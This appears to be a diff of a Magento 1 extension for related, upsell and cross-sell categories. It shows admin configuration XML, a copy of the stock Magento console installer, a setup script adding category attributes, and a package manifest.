</acl>
|
102 |
+
</adminhtml>
|
103 |
+
</config>
|
app/code/community/Iifire/Category/etc/system.xml
ADDED
@@ -0,0 +1,57 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?xml version="1.0"?>
|
2 |
+
<!--
|
3 |
+
/**
|
4 |
+
* @author Galey <yanggaojiao@qq.com> (http://www.hifasion.org)
|
5 |
+
* @copyright Copyright © 2011, Hifashion (http://www.magentokey.com, http://www.hifasion.org)
|
6 |
+
* @version 1.6
|
7 |
+
*/
|
8 |
+
-->
|
9 |
+
<config>
|
10 |
+
<sections>
|
11 |
+
<iifire_category translate="label" module="icategory">
|
12 |
+
<label>Iifire Categoy Setting</label>
|
13 |
+
<tab>catalog</tab>
|
14 |
+
<frontend_type>text</frontend_type>
|
15 |
+
<sort_order>1</sort_order>
|
16 |
+
<show_in_default>1</show_in_default>
|
17 |
+
<show_in_website>1</show_in_website>
|
18 |
+
<show_in_store>1</show_in_store>
|
19 |
+
<groups>
|
20 |
+
<product translate="label">
|
21 |
+
<label>General Setting</label>
|
22 |
+
<frontend_type>text</frontend_type>
|
23 |
+
<sort_order>1</sort_order>
|
24 |
+
<show_in_default>1</show_in_default>
|
25 |
+
<show_in_website>1</show_in_website>
|
26 |
+
<show_in_store>1</show_in_store>
|
27 |
+
<fields>
|
28 |
+
<crosssell translate="label">
|
29 |
+
<label>Product Crosssell default num</label>
|
30 |
+
<frontend_type>text</frontend_type>
|
31 |
+
<sort_order>1</sort_order>
|
32 |
+
<show_in_default>1</show_in_default>
|
33 |
+
<show_in_website>1</show_in_website>
|
34 |
+
<show_in_store>1</show_in_store>
|
35 |
+
</crosssell>
|
36 |
+
<related translate="label">
|
37 |
+
<label>Product Related default num</label>
|
38 |
+
<frontend_type>text</frontend_type>
|
39 |
+
<sort_order>10</sort_order>
|
40 |
+
<show_in_default>1</show_in_default>
|
41 |
+
<show_in_website>1</show_in_website>
|
42 |
+
<show_in_store>1</show_in_store>
|
43 |
+
</related>
|
44 |
+
<upsell translate="label">
|
45 |
+
<label>Product Upsell default num</label>
|
46 |
+
<frontend_type>text</frontend_type>
|
47 |
+
<sort_order>20</sort_order>
|
48 |
+
<show_in_default>1</show_in_default>
|
49 |
+
<show_in_website>1</show_in_website>
|
50 |
+
<show_in_store>1</show_in_store>
|
51 |
+
</upsell>
|
52 |
+
</fields>
|
53 |
+
</product>
|
54 |
+
</groups>
|
55 |
+
</iifire_category>
|
56 |
+
</sections>
|
57 |
+
</config>
|
app/code/community/Iifire/Category/install.php
ADDED
@@ -0,0 +1,155 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Magento
|
4 |
+
*
|
5 |
+
* NOTICE OF LICENSE
|
6 |
+
*
|
7 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
8 |
+
* that is bundled with this package in the file LICENSE.txt.
|
9 |
+
* It is also available through the world-wide-web at this URL:
|
10 |
+
* http://opensource.org/licenses/osl-3.0.php
|
11 |
+
* If you did not receive a copy of the license and are unable to
|
12 |
+
* obtain it through the world-wide-web, please send an email
|
13 |
+
* to license@magentocommerce.com so we can send you a copy immediately.
|
14 |
+
*
|
15 |
+
* DISCLAIMER
|
16 |
+
*
|
17 |
+
* Do not edit or add to this file if you wish to upgrade Magento to newer
|
18 |
+
* versions in the future. If you wish to customize Magento for your
|
19 |
+
* needs please refer to http://www.magentocommerce.com for more information.
|
20 |
+
*
|
21 |
+
* @category Mage
|
22 |
+
* @package Mage
|
23 |
+
* @copyright Copyright (c) 2008 Irubin Consulting Inc. DBA Varien (http://www.varien.com)
|
24 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
25 |
+
*/
|
26 |
+
|
27 |
+
|
28 |
+
/**
|
29 |
+
* There are two modes to run this script:
|
30 |
+
*
|
31 |
+
* 1. Dump available locale options (currencies, locales, timezones) and exit
|
32 |
+
* php -f install.php -- --get_options
|
33 |
+
*
|
34 |
+
* The output can be eval'd in a regular PHP array of the following format:
|
35 |
+
* array (
|
36 |
+
* 'locale' =>
|
37 |
+
* array (
|
38 |
+
* 0 =>
|
39 |
+
* array (
|
40 |
+
* 'value' => 'zh_TW',
|
41 |
+
* 'label' => 'Chinese (Taiwan)',
|
42 |
+
* ),
|
43 |
+
* ),
|
44 |
+
* 'currency' =>
|
45 |
+
* array (
|
46 |
+
* 0 =>
|
47 |
+
* array (
|
48 |
+
* 'value' => 'zh_TW',
|
49 |
+
* 'label' => 'Chinese (Taiwan)',
|
50 |
+
* ),
|
51 |
+
* ),
|
52 |
+
* 'timezone' =>
|
53 |
+
* array (
|
54 |
+
* 0 =>
|
55 |
+
* array (
|
56 |
+
* 'value' => 'zh_TW',
|
57 |
+
* 'label' => 'Chinese (Taiwan)',
|
58 |
+
* ),
|
59 |
+
* ),
|
60 |
+
* );
|
61 |
+
*
|
62 |
+
* or parsed in any other way.
|
63 |
+
*
|
64 |
+
* 2. Perform the installation
|
65 |
+
*
|
66 |
+
* php -f install.php -- --license_agreement_accepted yes \
|
67 |
+
* --locale en_US --timezone "America/Los_Angeles" --default_currency USD \
|
68 |
+
* --db_host localhost --db_name magento_database --db_user magento_user --db_pass 123123 \
|
69 |
+
* --db_prefix magento_ \
|
70 |
+
* --url "http://magento.example.com/" --use_rewrites yes \
|
71 |
+
* --use_secure yes --secure_base_url "https://magento.example.com/" --use_secure_admin yes \
|
72 |
+
* --admin_lastname Owner --admin_firstname Store --admin_email "admin@example.com" \
|
73 |
+
* --admin_username admin --admin_password 123123 \
|
74 |
+
* --encryption_key "Encryption Key"
|
75 |
+
*
|
76 |
+
* Possible options are:
|
77 |
+
* --license_agreement_accepted // required, it will accept 'yes' value only
|
78 |
+
* Locale settings:
|
79 |
+
* --locale // required, Locale
|
80 |
+
* --timezone // required, Time Zone
|
81 |
+
* --default_currency // required, Default Currency
|
82 |
+
* Database connection options:
|
83 |
+
* --db_host // required, You can specify server port, ex.: localhost:3307
|
84 |
+
* // If you are not using default UNIX socket, you can specify it
|
85 |
+
* // here instead of host, ex.: /var/run/mysqld/mysqld.sock
|
86 |
+
* --db_model // Database type (mysql4 by default)
|
87 |
+
* --db_name // required, Database Name
|
88 |
+
* --db_user // required, Database User Name
|
89 |
+
* --db_pass // required, Database User Password
|
90 |
+
* --db_prefix // optional, Database Tables Prefix
|
91 |
+
* // No table prefix will be used if not specified
|
92 |
+
* Session options:
|
93 |
+
* --session_save <files|db> // optional, where to store session data - in db or files. files by default
|
94 |
+
* Web access options:
|
95 |
+
* --admin_frontname <path> // optional, admin panel path, "admin" by default
|
96 |
+
* --url // required, URL the store is supposed to be available at
|
97 |
+
* --skip_url_validation // optional, skip validating base url during installation or not. No by default
|
98 |
+
* --use_rewrites // optional, Use Web Server (Apache) Rewrites,
|
99 |
+
* // You could enable this option to use web server rewrites functionality for improved SEO
|
100 |
+
* // Please make sure that mod_rewrite is enabled in Apache configuration
|
101 |
+
* --use_secure // optional, Use Secure URLs (SSL)
|
102 |
+
* // Enable this option only if you have SSL available.
|
103 |
+
* --secure_base_url // optional, Secure Base URL
|
104 |
+
* // Provide a complete base URL for SSL connection.
|
105 |
+
* // For example: https://www.mydomain.com/magento/
|
106 |
+
* --use_secure_admin // optional, Run admin interface with SSL
|
107 |
+
* Backend interface options:
|
108 |
+
* --enable_charts // optional, Enables Charts on the backend's dashboard
|
109 |
+
* Admin user personal information:
|
110 |
+
* --admin_lastname // required, admin user last name
|
111 |
+
* --admin_firstname // required, admin user first name
|
112 |
+
* --admin_email // required, admin user email
|
113 |
+
* Admin user login information:
|
114 |
+
* --admin_username // required, admin user login
|
115 |
+
* --admin_password // required, admin user password
|
116 |
+
* Encryption key:
|
117 |
+
* --encryption_key // optional, will be automatically generated and displayed on success, if not specified
|
118 |
+
*
|
119 |
+
*/
|
120 |
+
|
121 |
+
if (version_compare(phpversion(), '5.2.0', '<')===true) {
|
122 |
+
die('ERROR: Whoops, it looks like you have an invalid PHP version. Magento supports PHP 5.2.0 or newer.');
|
123 |
+
}
|
124 |
+
|
125 |
+
require 'app/Mage.php';
|
126 |
+
|
127 |
+
try {
|
128 |
+
$app = Mage::app('default');
|
129 |
+
|
130 |
+
$installer = Mage::getSingleton('install/installer_console');
|
131 |
+
/* @var $installer Mage_Install_Model_Installer_Console */
|
132 |
+
|
133 |
+
if ($installer->init($app) // initialize installer
|
134 |
+
&& $installer->checkConsole() // check if the script is run in shell, otherwise redirect to web-installer
|
135 |
+
&& $installer->setArgs() // set and validate script arguments
|
136 |
+
&& $installer->install()) // do install
|
137 |
+
{
|
138 |
+
echo 'SUCCESS: ' . $installer->getEncryptionKey() . "\n";
|
139 |
+
exit;
|
140 |
+
}
|
141 |
+
|
142 |
+
} catch (Exception $e) {
|
143 |
+
Mage::printException($e);
|
144 |
+
}
|
145 |
+
|
146 |
+
// print all errors if there were any
|
147 |
+
if ($installer instanceof Mage_Install_Model_Installer_Console) {
|
148 |
+
if ($installer->getErrors()) {
|
149 |
+
echo "\nFAILED\n";
|
150 |
+
foreach ($installer->getErrors() as $error) {
|
151 |
+
echo $error . "\n";
|
152 |
+
}
|
153 |
+
}
|
154 |
+
}
|
155 |
+
exit(1); // don't delete this as this should notify about failed installation
|
app/code/community/Iifire/Category/sql/iifire_category_setup/mysql4-install-1.6.0.php
ADDED
@@ -0,0 +1,31 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
$installer = new Mage_Catalog_Model_Resource_Eav_Mysql4_Setup('catalog_setup');
|
3 |
+
$installer->startSetup();
|
4 |
+
$installer->addAttribute('catalog_category', 'related_categories', array(
|
5 |
+
'type' => 'varchar',
|
6 |
+
'label' => 'Related Categories',
|
7 |
+
'input' => 'text',
|
8 |
+
'sort_order' => 30,
|
9 |
+
'global' => Mage_Catalog_Model_Resource_Eav_Attribute::SCOPE_STORE,
|
10 |
+
'required' => false,
|
11 |
+
'group' => 'General Information',
|
12 |
+
));
|
13 |
+
$installer->addAttribute('catalog_category', 'upsell_categories', array(
|
14 |
+
'type' => 'varchar',
|
15 |
+
'label' => 'Upsell Categories',
|
16 |
+
'input' => 'text',
|
17 |
+
'sort_order' => 31,
|
18 |
+
'global' => Mage_Catalog_Model_Resource_Eav_Attribute::SCOPE_STORE,
|
19 |
+
'required' => false,
|
20 |
+
'group' => 'General Information',
|
21 |
+
));
|
22 |
+
$installer->addAttribute('catalog_category', 'crosssell_categories', array(
|
23 |
+
'type' => 'varchar',
|
24 |
+
'label' => 'Cross-Sell Categories',
|
25 |
+
'input' => 'text',
|
26 |
+
'sort_order' => 32,
|
27 |
+
'global' => Mage_Catalog_Model_Resource_Eav_Attribute::SCOPE_STORE,
|
28 |
+
'required' => false,
|
29 |
+
'group' => 'General Information',
|
30 |
+
));
|
31 |
+
$installer->endSetup();
|
package.xml
ADDED
@@ -0,0 +1,18 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?xml version="1.0"?>
|
2 |
+
<package>
|
3 |
+
<name>advanced_related_product</name>
|
4 |
+
<version>1.6.0</version>
|
5 |
+
<stability>stable</stability>
|
6 |
+
<license>GPL</license>
|
7 |
+
<channel>community</channel>
|
8 |
+
<extends/>
|
9 |
+
<summary>Magento Related Products</summary>
|
10 |
+
<description>Setting Related Products,Up-sell Products,Cross-sell Products easily,powerful assistant. </description>
|
11 |
+
<notes>Setting Related Products,Up-sell Products,Cross-sell Products easily,powerful assistant. </notes>
|
12 |
+
<authors><author><name>iifire</name><user>yanggaojiao</user><email>yanggaojiao@qq.com</email></author></authors>
|
13 |
+
<date>2012-08-14</date>
|
14 |
+
<time>08:00:00</time>
|
15 |
+
<contents><target name="magecommunity"><dir name="Iifire"><dir name="Category"><dir name="Block"><dir name="Adminhtml"><file name="Categories.php" hash="13c06a1861bfb610fe8a2ae1c31afebc"/><file name="Category.php" hash="b046d615f2426ed5a00de317830c3b4e"/><file name="Tree.php" hash="eb49dacd0ad5f3eca85097da4318f240"/></dir></dir><dir name="Helper"><file name="Data.php" hash="93c1babf8b71c1dbc87dde2ddefc8bbc"/><file name="Toolbar.php" hash="ab4290052ac7606a50bd623a3f81d75a"/><file name="leida.php" hash="eae93a61413da53309ffa45537251d33"/></dir><dir name="controllers"><dir name="Adminhtml"><dir name="Iifire"><file name="CategoryController.php" hash="fcbfc421a411f28b2ed3235e860bfc43"/></dir></dir></dir><dir name="etc"><file name="adminhtml.xml" hash="05318c219ada2a3d9008ff4f0a425945"/><file name="config.xml" hash="9489027ab8ffc7faf6cf31ee9b6e5df3"/><file name="system.xml" hash="8faa2639c867c5f8e68d28f9ea6ddf2d"/></dir><file name="install.php" hash="82d8d90abfdd0b1a47acdeeb4ec49395"/><dir name="sql"><dir name="iifire_category_setup"><file name="mysql4-install-1.6.0.php" hash="78201731438f248a16d0f44d6ae55908"/></dir></dir></dir></dir></target></contents>
|
16 |
+
<compatible/>
|
17 |
+
<dependencies><required><php><min>5.1.0</min><max>6.0.0</max></php></required></dependencies>
|
18 |
+
</package>
|